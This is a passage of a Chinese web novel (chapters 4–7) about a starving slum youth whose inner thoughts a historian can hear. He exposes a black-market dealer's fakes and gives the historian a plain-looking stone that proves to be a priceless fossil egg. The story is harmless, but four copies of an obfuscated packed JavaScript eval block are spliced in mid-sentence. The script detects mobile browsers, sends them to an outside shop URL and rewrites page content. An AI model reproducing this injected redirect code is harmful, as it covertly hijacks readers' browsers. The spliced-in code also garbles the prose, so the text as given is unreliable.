林柚看着那个正在认真端详古董的中年男人,眼睛亮了起来。 “那你能不能直接……”林柚压低声音,比划了一个数钱的手势。 小七摇摇头,面无表情:“不能。星际时代的金融系统有多重安全锁,转账需要生物识别、量子密钥和本人意识确认,三者缺一不可。我能查到信息,但没办法直接动他的钱。” “而且就算我能,那也是偷,不是赚。偷来的钱不算有效经济活动,对哥哥的灵魂锚点没用。” 林柚叹了口气。 【好吧,果然没有捷径可走……还是得老老实实碰瓷,啊不,是助人为乐。】 【大鱼,这是大鱼啊。】 【而且他看起来很斯文,应该不会像上午那些人一样直接把我轰走吧?】 “走,小七,我们过去看看。” 林柚撑着箱壁站起来,牵起小七的手,朝着古董区的方向走去。 …… 唐明远正在认真地挑选古董。 准确地说,他今天来黑市就是为了淘一些古地球时代的遗物。作为蓝星联邦最顶尖的历史学家之一,他对那个已经消失了上千年的文明有着近乎痴迷的热爱。 而黑市是最容易淘到各种各样真货的地方。 虽然假货也多。 此刻,他正站在一个摊位前,手里拿着一根造型奇特的棍子。 棍子长约半米,顶端是一个暗红色的碗状橡胶吸盘,底部连接着一根光滑的木柄。整体造型古朴,橡胶部分虽然有些老化,但保存得相当完好。 “刘老板,这是什么?”唐明远推了推金丝眼镜,语气里带着学者特有的严谨。 摊主是个瘦小男人,一听有人问价,立刻两眼放光,唾沫横飞地介绍起来: “哎哟,唐教授好眼光!这可是刚从三号遗迹出土的宝贝,红莲权杖!” “红莲权杖?”唐明远挑了挑眉。 “对对对!”刘老板越说越起劲,“据考古学家鉴定,这是古地球时期大祭司专用的法器!您看这吸盘的构造,完美符合流体力学原理,据说能沟通地下神明,吸纳天地精华。” “当年的大祭司就是用这根权杖,镇压了无数邪祟。” 唐明远若有所思地点点头,但也提出了疑问:“古地球距今已有上千年,这橡胶材质是如何保存下来的?” 刘老板立刻拍着胸脯保证:“您问到点子上了。这权杖是在三号遗迹的真空密封舱里发现的。您知道吗,古地球人特别重视祭祀用品的保存,这权杖当年是用特殊的惰性气体封存的。” “发现的时候密封舱都没破损,打开的一瞬间,在场的考古学家都惊呆了,跟新的一样!” 刘老板说得绘声绘色,仿佛他亲眼见证了那个历史性的时刻。 唐明远将信将疑地点点头。 真空密封确实可以大幅延长物品的保存年限,这倒是说得通。而且古地球人确实有将重要物品封存的习惯,历史文献里有相关记载。 他是历史学家,对古地球文明有相当深入的研究。但说实话,古地球的日常生活用品他涉猎不多,主要研究的是政治、军事和文化领域。 这个造型……确实很独特。 难道真的是某种祭祀用品? 他举起那根权杖,仔细端详着顶端的橡胶吸盘。 就在这时, 【噗——】 【救命,小七你快看!那个大叔手里拿的是什么玩意儿?】 【等等,让我仔细看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055105|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……红色的橡胶头,光滑的木柄,这个形状,这个尺寸……】 【我靠!这不是皮搋子吗?!】 唐明远的手猛地一抖。 谁……谁在说话? 皮……什么? 【就是通厕所用的那个!在医院住院,隔壁卫生间堵了,护士阿姨就是用这玩意儿通的!】 【神特么红莲权杖!神特么沟通地下神明!这分明是沟通下水道的神器啊!】 【而且这个橡胶的老化程度,至少用了几十年……也就是说,这是一个用过了的、沾满了古地球时期不明物质的二手皮搋子?】 【大叔你还往脸上凑?!快放下快放下!那个吸盘不知道吸过多少……呕!】 “啪嗒。” 唐明远手一松,那根珍贵的红莲权杖直接掉在了地上。 它弹了两下,骨碌碌滚到了一双破旧的球鞋旁边。 唐明远瞬间从惊愕中回过神,他本能地屏住呼吸,目光如电般急速扫过四周。摊位前只有唾沫横飞的刘老板,附近三内米内,并没有任何人在张口说话。 那刚才那段生动得过分,信息量巨大的话语是从哪里来的? 他的目光最终带着惊疑不定和强烈的探究意味,落在了三米开外,刚刚走到摊位附近的那个面色苍白的少年身上。 少年穿着一件明显不合身的破旧大衣,袖子卷了好几道,露出一截细得吓人的手腕。他的脸色蜡黄,嘴唇干裂,一看就是长期营养不良。此刻正用一种略显困惑的目光看着他,轻声说道:“叔叔,您东西掉了。” 语气温和,表情无辜。 但唐明远几乎立刻将眼前这张脸和刚才那个鲜活跳脱的声音联系了起来。 【完了完了,这大叔脸色好差,是不是身体不舒服?手都抖了……】 又来了! 这一次,唐明远清晰地感知到,这个声音的方向和源头正来自于眼前这个少年。不是听到,而是直接感知到。 【嗯?他为什么这么盯着我看?我说什么了吗?哦不对,我根本没说话……可能是年纪大了手不稳?】 【淡定,林柚,淡定,你只是一个路过的、善良的、想要碰瓷赚钱的小可怜。】 唐明远:“……” 他深吸一口气,迅速平复了内心的波澜。心声传输的灵能火花?内容如此具体,甚至提到了老化程度这种细节……与他研究过的古地球生活文献碎片隐隐吻合。难道这少年真的知道些什么? 心思电转间,他已有了决断。黑市水深,刘老板敢如此行骗,背后早有依仗。少年用这种方式提醒,显然是心存顾忌。自己更不能点破。 “咳……”唐明远清了清嗓子,重新戴上儒雅的学者面具,艰难地开口,“小兄弟,你刚才说……这个东西是……” 林柚眨了眨眼睛,一脸茫然:“我什么都没说啊?” 唐明远盯着林柚写满无辜的脸,心中了然,顺着话道:“……你说得对。我什么都没听到。” 他话锋一转,用只有两人能意会的语气问道:“那小兄弟,你……对这东西有什么看法?” 他想再确认一下。 5. 第 5 章 【他问我有什么看法?】 【我能有什么看法?那就是个通厕所的啊!但我总不能直接说吧?万一他不信,还觉得我在黑市里故意找茬?】 【委婉一点……委婉一点。把通厕所翻译成管道维护工具。听起来就高级多了。】 林柚清了清嗓子,努力让自己显得像个见过世面的人,目光落在那暗红色的橡胶吸盘上,斟酌着措辞开口: “我觉得……它的材质比较特殊。”他停了一下,像是在回忆某个专业术语,“有点像老化的橡胶。还有这个结构,嗯,不太像用于……庄严仪式的器物,更像是用来处理一些日常琐事的工具。” 他把通厕所三个字硬生生咽了回去,只留下一个含糊的尾巴:“……可能跟管道之类的有关。” 唐明远镜片后的目光微微一动。只是极轻地点了一下头,像在听一场学术讨论里不那么严谨,却直指核心的提问。 刚才听见的那段心声信息量太大。不仅指出用途,还顺便吐槽了沟通地下神明的荒诞。更关键的是,那份带着生活气的具体细节和眼前这个少年嘴上努力文明表达的克制,形成了极清晰的对应。 这不是瞎蒙。 至少不是普通意义上的瞎蒙。 在黑市这种地方,敢开口的人多,敢说对的人少;敢说得这么直白,还能当场把骗局切开给你看的,更少。 唐明远顺着他的台阶继续试探:“那你觉得,它值多少钱?” 林柚心里一紧。 【来了来了,价值评估题。】 【我总不能说:叔叔,这玩意儿价值三块五,包邮还送手套吧?】 他小心翼翼地回答:“如果是真的古物……可能有人出于猎奇愿意收藏。但如果只是功能明确的日用品……价值应该不会太高。” 【其实就算是真的古董,一个皮搋子能值几个钱啊?顶多当个搞笑收藏品……】 唐明远的嘴角抽搐了一下。 他压住有点想笑的冲动,把手里的红莲权杖轻轻放回摊位上,语气平稳:“多谢小兄弟。” 林柚愣了愣:“谢我?谢我什么?” 【我说了什么值得他感谢的话吗?】 【我就说了两句含糊的话啊……】 唐明远看着他这副我真的什么都没干的茫然表情,这份谨慎和城府,绝非普通贫民窟少年能有的……他背后一定有来历。 “谢你提醒我,东西要看材质和用途。”唐明远顺手给了个合理的解释,“我这个人……做研究久了,有时候容易被故事带跑。” 林柚“哦”了一声,还是没完全懂。 【有钱人说话就是绕……】 就在这时,摊主终于坐不住了。 “哎哎哎!”刘老板脸色一沉,嗓门拔高,“这位小兄弟,你是来买东西的,还是来砸场子的?!” “唐教授是我的老主顾,用得着你在这儿多嘴?一边儿去!”说着就要上前驱赶。 林柚被这气势吓了一跳,下意识地往后退了一步,把小七往身后带了带。 【好凶……我就说了两句实话啊……】 【惹不起惹不起……】 刘老板一把拿起权杖,心疼地用袖子擦了擦,把权杖重新往唐明远手里塞,谄媚地笑道:“唐教授,您别听这小叫花子胡说八道,他懂什么?一看就是来捣乱的!这红莲权杖我开价五十万,您要诚心要,四十五万拿走。绝对是遗迹出土的宝贝。有鉴定证书的!” 【而且四十五万买一个皮搋子……这不是卖古董,这是卖良心。】 【不过也不能怪他,毕竟古地球的东西流传到现在确实很少了,物以稀为贵嘛……】 【但问题是这玩意儿真的只是个通厕所的工具啊!就算再稀有,它的本质也没变啊。】 【这就好比一千年后有人挖出我的病号服,然后说这是古蓝星贵族的丝绸礼服,标价几百万……想想就离谱。】 唐明远低头看了眼手里的暗红橡胶吸盘,胃里不受控制地翻了一下。 “不买了。”他把权杖放回摊位上,对刘老板淡淡道:“刘老板,买卖讲究你情我愿,这位小兄弟也只是表达自己的看法。这东西……与我无缘。” “诶?唐教授!唐教授您再考虑考虑啊!”刘老板急得直跺脚,“四十万!四十万行不行?三十五万!最低价了!” “不必多言。”唐明远迈出一步,顺势挡了一下刘老板若有若无想冲林柚发难的身形,动作不明显,却很自然地把火隔开了。 刘老板咬牙切齿,声音压着怒气:“唐教授,您别被这种小叫花子带偏了!他懂个什么” 唐明远仍旧平静:“刘老板!” 刘老板脸色青一阵白一阵,终究没敢再往前拦,只能站在摊位后面,眼神阴毒地盯着林柚。 林柚被盯得后背发凉。 【完了……这摊主记仇了。】 【黑市这种地方,记仇的人一般都不讲道理。】 唐明远转过身,视线落到林柚身上,语气比刚才更温和些:“小兄弟,没吓着吧?” 林柚摇摇头,嘴上说“没事”,身体却本能地绷着。 【吓倒没吓着,就是觉得这摊主不讲道理……不过这位唐教授人好像真的不错?】 唐明远心中微微一笑,掏出一张名片递过去:“正式认识一下,我叫唐明远,在联邦历史研究院做些研究工作。小兄弟怎么称呼?” 林柚迟疑了一下,接过名片。材质温润,设计低调,只有名字、研究院标志和一个通讯编码。 “林……林柚。这是我弟弟,小七。” “林柚。”唐明远念了一遍“小七。” 他的目光在小七身上停了极短的一瞬。 这个孩子太安静了,安静得不符合贫民窟的生存逻辑。 唐明远没有多问,黑市里,问得越少越安全。 他重新看向林柚,“林柚,你刚才的判断……很准。” “没、没有。”林柚连忙摇头,手心微微出汗,“我……我就是偶然知道一点,可能刚好蒙对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055106|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。真的不懂专业的鉴定。” 【我哪敢承认啊。我承认了不就等于告诉他:我知道这是皮搋子?那刘老板真要把我剁了。】 【而且我是真的不懂鉴定啊!都是靠……呃,靠一些特殊渠道的信息。这怎么能说!】 【他该不会以为我是隐藏的鉴宝大师吧?我可担当不起。】 唐明远没有追问。 这世上能解释准确的理由很多:见识、经验、灵能火花、某种来源不明的信息渠道……不管是哪一种,都不适合在黑市摊位前当场拆开。 “不必紧张。我只是觉得,你的直觉很有趣,也很准。不如这样,”他提出邀请,“我今天正好想在这里逛逛,找些有意思的东西。能否请你临时充当我的顾问?不用你负责,只是跟着我,偶尔说说你对某些物品的感觉或看法。当然,不会让你白忙,我会支付相应的报酬。” 林柚的眼睛瞬间亮了起来,内心一片欢呼。 【真的吗?!】 【天哪,终于有机会赚钱了!】 【冷静,林柚,冷静!不能表现得太激动!要稳重!】 他努力压下疯狂上扬的嘴角,手指无意识地捏紧了衣角,脸上努力做出思考权衡的表情,声音带着恰到好处的迟疑:“这个……唐教授,我真的只是靠一点模糊的感觉,怕帮不上您什么忙,反而耽误您的时间……” “无妨。”唐明远温和道,“我相信我的眼光。你的感觉本身就很有价值。报酬方面,我们可以按咨询的标准来,起步一百星币,如果后续有特别有价值的发现,另算。你觉得如何?” 【一百?!】 【刚刚好!】 【天降财神爷!!】 林柚几乎要立刻点头,但还是勉强克制住,深吸一口气,像是下了很大决心:“那……好吧。我尽力试试,但真的不能保证什么。” “这就够了。”唐明远满意地点点头,接着转身,示意林柚跟上,“那么,林顾问,我们先从这边开始看看吧。这家摊位,你有什么感觉吗?” 林柚连忙跟上,小七则默默地跟在他身后,如同一个安静的影子。只有林柚知道,小七的目光已经如同无形的扫描仪,笼罩了整个摊位。 【叮——扫描完成。】 【摊位共计47件物品。】 【真品:3件(均为古地球晚期常见陶器碎片,考古价值低,市场估值低于500星币)。】 【赝品/仿制品:43件。】 【无法判断:1件(灰色石头,成分未知,能量读数微弱且异常)。】 听到有43件赝品,林柚暗自咂舌。 【47件里面只有3片碎陶片是真的?还只值几百块?】 【这水也太深了……唐教授之前到底被坑了多少啊?】 他抬头看向唐明远,男人正拿起一个青铜酒樽仔细端详,林柚心中忽然升起一股责任感。 【嗯,拿了报酬,就得认真干活。至少,得帮这位看起来人还不错的教授,避开眼前这个巨坑!】 6. 第 6 章 接下来的半个小时,是唐明远这辈子信息量最密集、表情管理最痛苦的半个小时。 他站在刘老板的摊位前,仍旧是一副老主顾随便看看的闲散姿态,指尖慢慢翻检。 他每拿起一件东西,都会不经意地停一下,目光轻轻掠向旁边瘦得像风一吹就倒的少年。 然后等一句答案。 唐明远拿起一只青铜酒樽,指节轻敲杯壁,闷响沉沉。 刘老板立刻堆笑:“唐教授,这可是老货!您看这包浆,这铜锈,这沉……” 林柚站在旁边,本来只想当个安静的背景板,可唐明远忽然侧过一点头,随口一问: “林柚,你觉得呢?” 林柚被点名,整个人一激灵。 【顾问上线!】 【问题是我哪会鉴定啊……只能说看到什么说什么了。】 【救命,我要是说错一条,他会不会当场把我从黑市退货?】 他硬着头皮: “我……我不太懂,就是觉得……这锈有点太……太均匀了。像……像刚刚才统一安排过的。” 他说完自己都觉得离谱,赶紧补一句:“可能是我看错了。” 【均匀得像给它涂了面膜。真锈哪有这么听话?还有这胎……压铸痕迹都快在上面签名了。二十星币的东西敢标八万?】 唐明远手指一顿。 他面上依旧“嗯”了一声,镜片后的目光却冷了半分。 下一秒,他把酒樽翻过来,指腹沿着杯底一道细微的接缝慢慢抹过,语气依旧温和: “刘老板,你这杯底处理得挺利索。” 刘老板笑容僵住:“这、这叫岁月痕迹!” 旁边一个路人凑近一看,嗤地笑出声:“岁月痕迹?这不就是模具接缝吗?” “边儿齐得跟刀切似的。” “八万买模具货?你也太敢了。” 摊位周围瞬间聚起一圈人,低声议论像潮水一样涌上来。 刘老板脸色一青,正要发作,唐明远却像没听见似的,轻轻把酒樽放回去,语气淡淡: “我再看看别的。” 他表情仍旧稳。 但嘴角明显抽了一下。 唐明远又拿起一块刻着铭文的玉牌,装作欣赏般在指尖转动,仍旧随口问: “这件呢?” 林柚:“……” 【我真的不懂啊!嗯…小…说什么我说什么。】 他咽了口唾沫,低声道:“我……我猜它可能是机器刻的。因为边缘……太整齐了。手刻的线条,应该会有一点点不一样吧?” 他话说得很虚,像怕被人当场抓包。 【字是挺像回事……可这边缘也太齐了吧?像光一划就到底,连个手抖都没有。再说这玉的质地,拿久了怕不是要褪色。】 唐明远呼吸微不可察地停了一瞬。 他把玉牌凑到光下,缓缓转了个角度。铭文边缘反光一闪,线条平滑得过分。 唐明远抬眼,盯着刘老板: “你说这是手工刻的?” 刘老板梗着脖子:“当然,祖传手艺!” 唐明远“哦”了一声,转手把玉牌递给旁边一个围观的年轻人:“你照照看。” 年轻人一照,脱口而出:“这像激光……” 旁边一位戴眼镜的女顾客立刻接上:“手工不可能这么一致,太平滑了。” “还祭祀铭牌呢,笑死。” “要真褪色,那不就是祭祀一次就掉皮?” 笑声一下爆开。 刘老板脸瞬间涨红:“你们懂个屁,这是古地球……” 唐明远推了推眼镜,喉结滚了一下,像把一句难听的话硬生生咽回去。随手又拎起一串古地球念珠: “这个呢?闻着像什么材质?” 林柚看了一眼,差点没绷住。 他嘴上努力文明:“我……我不确定。就是感觉它……颜色掉得有点快。” 【这质感怎么这么像塑料?还掉色掉得斑斑驳驳,像小时候一块钱一把的弹珠……等等,这不会真是弹珠串吧?!】 唐明远:“……” 沉默两秒。 然后他把念珠缓缓举到鼻前,准备鉴香。 刘老板露出胜券在握的笑:“您闻闻!这味儿……” 唐明远鼻尖刚凑近半寸,脑子闪过“弹珠串”三个字。 他动作硬生生停在半空。 围观群众齐刷刷盯着他。 唐明远终于没绷住,嘴角抽搐得更厉害了。 他把念珠放回摊位,还非常克制地用指尖把它推远了半寸。 “刘老板。这串……挺有童趣。” 围观人群先是一愣,随即爆笑。 “童趣哈哈哈哈!” “我看是圣物=弹珠串吧,这宗教也太接地气了。” “唐教授的表情,我第一次见学者被逼到想骂人。” 刘老板脸黑得像锅底,眼神阴得能滴水,终于把矛头转向林柚: “是不是你这小子在旁边胡说八道?!你刚才嘀嘀咕咕什么呢!” 林柚一懵,立刻后退半步,把小七护在身后。 “我、我就是说了点看到的……”他本能解释,“我没胡说。” 【我真没说啥啊!我就是把看到的奇怪地方说出来,怎么就成我带节奏了?!】 唐明远听着那份无辜,心里那点憋着的火忽然散了,反倒浮起一丝说不清的笑意。 他往前一步,恰好挡住刘老板盯向少年的视线,语气仍旧平静,却压得住场: “刘老板,摊上东西真假,各凭眼力,买定离手,这是黑市的规矩。我今天不买,是我自己的判断。” 他顿了顿,声音压低,却让周围人都听得清楚: “至于买回去的东西是真是假,如今的科技,拿回研究院用仪器一扫便知。我唐某人虽然在你这里也交过不少学费,但也确实捡到过几件真东西,这才愿意继续来碰碰运气。可你若因此为难旁人,我唐某人虽只是做学问的,但在第三大区,还是有几分薄面的。” 刘老板脸色变了又变,最终挤出一丝笑:“唐教授说笑了……我哪敢……” 唐明远不再理他,转身对林柚道: “走吧,换个摊看看。” 林柚如蒙大赦,连忙跟上。 【好险……唐教授真是个好人。】 【挡枪、压场、还顺便把骗子摊位社死了一遍……这是什么天降贵人?】 唐明远听到贵人二字,嘴角终于真正扬起一点。 不。 是我遇到贵人了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055107|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开刘老板摊位后,两人又在黑市里绕了一圈。 唐明远不再像最初那样独自挑拣,而是每看一件就淡淡问一句“你觉得呢”。 林柚每次都先慌一下,然后小心翼翼给出一点点判断。 “这个边儿太齐了。” “那个气味像合成香精。” “这个重量不对,空心的。” 他越说越流利,但每次说完都会下意识抿嘴,像是怕自己说错。 【我说的都是表面能看出来的……应该不会错吧?】 唐明远却听得越来越笃定。 这少年每次开口,说的都是最朴素直接的观察,没有任何术语,没有任何卖弄。可偏偏这些观察,每次都精准地刺在赝品最核心的造假上。 这种于平凡处见真章的眼力,比任何华丽的鉴定技巧都更珍贵。 心声里是锋利到扎人的真相,嘴上却是克制到近乎自我否认的委婉。 这可骗不了人。 至少骗不了他。 这孩子在隐藏,在试探,也在选择。 唐明远停下脚步,转身面对林柚。 “林柚。” “嗯?” “今天的咨询到此为止。”唐明远语气郑重,“你帮我省下的冤枉钱,至少是七位数起步。这份情,我记下了。” 他递出一张通体漆黑、边缘泛着金纹的卡片。 林柚接过来,手指微微发抖。 【黑金卡?!】 【不至于吧……我就说了几句看到的东西!】 【冷静……可能就刷一笔咨询费?一百星币?】 唐明远差点没绷住表情。 他轻咳一声,语气放得更温和,“这是不记名副卡,五千星币额度。算今天的咨询费,也算预付的下次合作。” 林柚:“……” 【五千?!】 【……肉包子自由?!】 【我终于可以理直气壮地买两个!还不用跟自己讲道理!】 唐明远听着这份朴素到让人心口发软的狂喜,目光柔和了几分。 林柚把卡小心翼翼塞进贴身口袋。 小七凑到他耳边,奶音压得很低:“哥哥,账户接入完成。锚点……暂时稳住了。” 林柚心脏猛地一跳。 【稳了!我活了!】 【今晚不用当青烟!我真的能活!】 唐明远当然听不懂“锚点”,只当少年是终于拿到一笔能救急的钱,那种憋到极限的恐慌终于松开,才会激动得像要哭出来。 他更坚定了:得把这孩子从贫民窟拎出来。 就在两人准备离开时,林柚却忽然停了一下。 他捏着口袋里那张副卡,心里发热,又有点发虚。 【五千……太多了。】 【我就瞎说两句,他给这么多……我不回点东西,总觉得像白占便宜。】 他目光扫过附近摊位:假的一眼假,真的又贵得离谱。 最后,他在一个杂物摊里看见一块灰扑扑,表面坑洼的石头。 不起眼,像被人随手丢在角落,连骗子都懒得编故事。 林柚走过去,蹲下把那石头掂了掂。 小七立刻补了一句:“表层无异常反应,常见碳酸钙硬化物。” 林柚:“……” 7. 第 7 章 【好吧,石头是块石头。我也是条好人】 【……太贵的送不起,送这个至少是我自己挑的,算份心意?】 他深吸一口气,鼓起勇气,转身看向耐心等待的唐明远,小心地开口: “唐教授……谢谢您。我想送您个小东西,就当……回礼。您别嫌弃。” 唐明远微微一怔。 林柚赶紧补救,越说越没底气:“不是什么值钱的……我也买不起值钱的。就是觉得它挺沉的,拿回去当镇纸也行,或者……垫桌脚?” 说完他自己都觉得离谱,脸一下子红了,“我、我随口一说,您别当真……” 【我是不是太不会送礼了?送块垫桌脚的石头?垫桌脚都嫌硌得慌,硌还硌不平。我是怎么想的,为什么要送这个,这也太寒酸了!】 【但我现在除了肉包子,真的想不出别的回礼方式……总不能真送肉包子吧?】 唐明远却已经伸手,接过了那块石头。 指尖触及石面冰凉粗糙的刹那,脑中电光火石般闪过多个念头: “他刚帮我避开百万级的陷阱,转眼就送我一块垫桌脚的石头?” “是随手回礼,还是……一轮不动声色的点拨?” 古玩行里老辈人常说:“真佛不说金玉语,只送顽石点愚人。”眼前这少年,难道是在效法古风? 指腹缓缓划过石头表面那些看似杂乱的坑洼。不对……这分布,细看之下隐有章法,非天然风化所能形成。这重量,这压手的密度……也远超普通碳酸钙岩石。 这绝非顽石。这更像是裹着厚重污泥的璞玉,在静静等待能识破伪装的手,将它真正开解。 【想考我。】 【考我敢不敢信他,考我有没有这份魄力,从一堆公认的废品里,认出他亲手递出的真正的机缘。】 想到这里,唐明远心脏猛地一跳,一股类似赌石开盘前那种混合着风险与巨大诱惑的战栗感,窜上脊背。他看向摊主: “老板,这块石头,我买了。” 他顿了顿,在摊主瞬间愣住和林柚惊愕瞪大的目光中,报出一个数字: “五万。” “……啥?!”摊主是个满脸皱纹的老头,原本昏昏欲睡,此刻眼珠子都快瞪出来,以为自己幻听了。 林柚也当场傻住。 【五万?!】 【我送个石头,他买成五万?!】 他下意识想开口劝阻:“唐教授,这真的不值钱!您别……” 可话到嘴边却卡住了。这石头是他自己说要送的心意。如果现在跳出来说“这玩意儿是破烂,您别花冤枉钱”,那刚才的送礼算什么?岂不是又当又立? 更何况,唐教授镜片后的眼神锐利而笃定,显然正沉浸在他自己的鉴定逻辑里。这时候泼冷水,怎么看都像是在打对方的脸,质疑对方的专业判断。 林柚张了张嘴,最终还是把话和着唾沫艰难地咽了回去,只能眼睁睁看着唐明远爽快利落地完成了转账。 摊主手抖得像筛糠,生怕财神反悔,火速用一块脏布把石头包好,几乎是双手捧着递过去,脸上褶子笑成了菊花。 唐明远郑重地将石头装入随身携带的便携式防震保护盒。 林柚看得头皮发麻,终于憋出一句:“唐教授……它,它看起来真的很普通。” 唐明远将保护盒小心收好,闻言,对林柚露出了一个意味深长的微笑: “林柚,古董这行,有时最惊人的发现,就藏在最不起眼的普通之下。谢谢你送的镇纸,我很喜欢。” 他说完,拍了拍林柚瘦削的肩膀:“改天有空,我请你吃饭。保持联系。” “好、好的。”林柚愣愣地点头,表情依旧一片懵然。 【我刚才是不是说错话了?】 【他为什么笑得那么……高深莫测?还有点开心?】 【难道这石头真有什么说法?不可能啊,小七都说了就是碳酸钙……】 唐明远转身离开,步伐沉稳,却比来时更快了几分。 一直等到那道儒雅的背影彻底消失在黑市杂乱的人流中,林柚才猛地扭头,抓住小七的胳膊,压低声音: “他是不是……想太多了?” 小七仰起脸,认真地点了点头:“基于现有表层数据分析,他的交易行为属于非理性溢价,情感投资成分远高于物品本身估值。” 林柚痛心疾首:“五万买块石头……他回去发现真是石头,会不会觉得我在戏弄他?会不会记恨我?我明明只是想真诚地回个礼啊!” 小七想了想,严谨补充:“以他账户体量,五万仅仅是情绪消费级而已。” “……更气人了。” 与此同时。 唐明远几乎是一路疾走回到了自己位于上城区的秘密工作室。锁好门,启动全屏蔽系统,他才小心翼翼地将那块石头从保护盒中取出,放入高精度多维光谱分析仪。 “滴——” 【表层分析完成:高密度碳酸钙(钙化层结构致密均匀,疑似生物分泌物固化形成)】 【微观结构扫描:孔洞分布符合隐性斐波那契数列,与《星渊古生物图录(残卷)》中虫巢腔室排列猜想模型吻合度78%】 【局部微光谱异常:检测到微量且古老的生物磷灰石及几丁质残留特征】 看到屏幕上滚动的数据,唐明远呼吸骤停,手指因激动而微微颤抖。他没有丝毫犹豫,立刻启动了最高权限的非破坏性量子共振深层扫描。 十秒后。 【警告:检测到深层异常能量反应及完整生物腔室结构】 【内核物质鉴定:有机蛋白质晶体基质+未知生物能量结晶脉络】 【结构完整性:95.7%,胚胎活性物质已彻底化石化,能量矩阵处于惰性封存状态】 【初步匹配:星渊虫女王化石蛋(相似度96.8%)】 【历史记录:三百二十七年前,星际考古协会于深渊回响遗迹发现半枚损坏样本,残骸估值1.2亿星币。完整样本……无公开交易记录,理论估值无法估量。】 唐明远僵立在仪器前,一动不动。 屏幕上冰冷的文字和天文数字般的估值,与他手中这块来自贫民窟角落的粗糙石头形成了极致的对比。 他花了五万的石头是足以震动整个星际收藏界和生物学界的无价之宝。 他猛地转过身,目光望向第三大区底层生活区的方向。 那个穿着破烂大衣、脸色苍白、看起来弱不禁风、送他石头时窘迫得脸红的少年…… 到底是什么人?! 【林柚……】 唐明远在心中重重地念着这个名字。 “垫桌脚都嫌硌不平”果然不是随口抱怨。 那根本就是一句藏锋于拙的终极提示。 他还故意装得那么懵懂、那么窘迫,把真相完美地藏在不会送礼的表象之下…… “呵……”唐明远低笑出声,摇了摇头,小心翼翼地将化石蛋重新收好。 无论这少年是什么来历,这份点石成金之恩,这份引他窥见至宝的缘分,他唐明远,欠大了。 这样的人物,绝不能让他埋没于贫民窟的泥泞之中。 三天后。 一条爆炸性的新闻以光速席卷了整个星际收藏圈、考古界乃至上流社会: “重磅!联邦历史研究院唐明远教授,于第三大区黑市慧眼识珠,以五万星币购得奇石,经鉴定竟为失传超过三百年的完整星渊虫女王化石蛋!星际自然历史博物馆已正式出价4.8亿星币求购,创下近两百年来生物化石类藏品最高交易记录!” “唐明远教授在简短发布会上拒绝透露具体发现细节,只面对镜头,意味深长地表示:‘我只是……幸运地遇到了一位有缘人。他让我相信,真正的珍宝,从不在于耀眼的外表。’” 破旧的危房里。 林柚盯着小七电子板上循环播放的新闻快讯,尤其是那个“4.8亿”的天文数字,整个人像是被雷劈中,外焦里嫩,彻底石化。 【4.8……亿?!】 【星、星渊虫女王……化石蛋?!】 【那块我说垫桌脚都嫌硌不平的破石头?!】 足足过了半分钟,他才猛地回过神来,一把抓住小七的肩膀,声音都在飘:“你那天扫描的时候,就没发现一点异常吗?!那个什么能量矩阵,腔室结构呢?!” 小七被他晃得小脑袋一点一点,抬起脸,黑白分明的大眼睛里也满是困惑,小脸却依旧绷得酷酷的: “我的常规扫描侧重于物质成分、常见宝石包裹体及人工伪造痕迹。对于完整古生物化石,尤其是这种表层钙化层极厚、内部能量处于惰性封存状态的稀有样本,缺乏针对性的深层探测协议。” “……这是我的数据库盲区与逻辑判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055108|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断失误。我需要立刻更新古生物鉴定模块,并重新定义价值评估参数。哥哥,我还有很多需要学习。” 林柚松开手,瘫回床上,痛苦翻滚。 【我错了……我真的错了……】 【亲手把4.8个亿……当成板砖送人了……】 【还觉得人家唐教授人傻钱多……】 【小丑竟是我自己!!!到底谁才是那个不识货的傻子啊!!!】 他在床上瘫了好一会儿,眼神放空。 算了。 【就算时光倒流,以我的眼界和认知,它也永远只是一块有点沉、能垫桌脚的石头。】 【唐教授能慧眼识珠,那是他的本事和机缘】 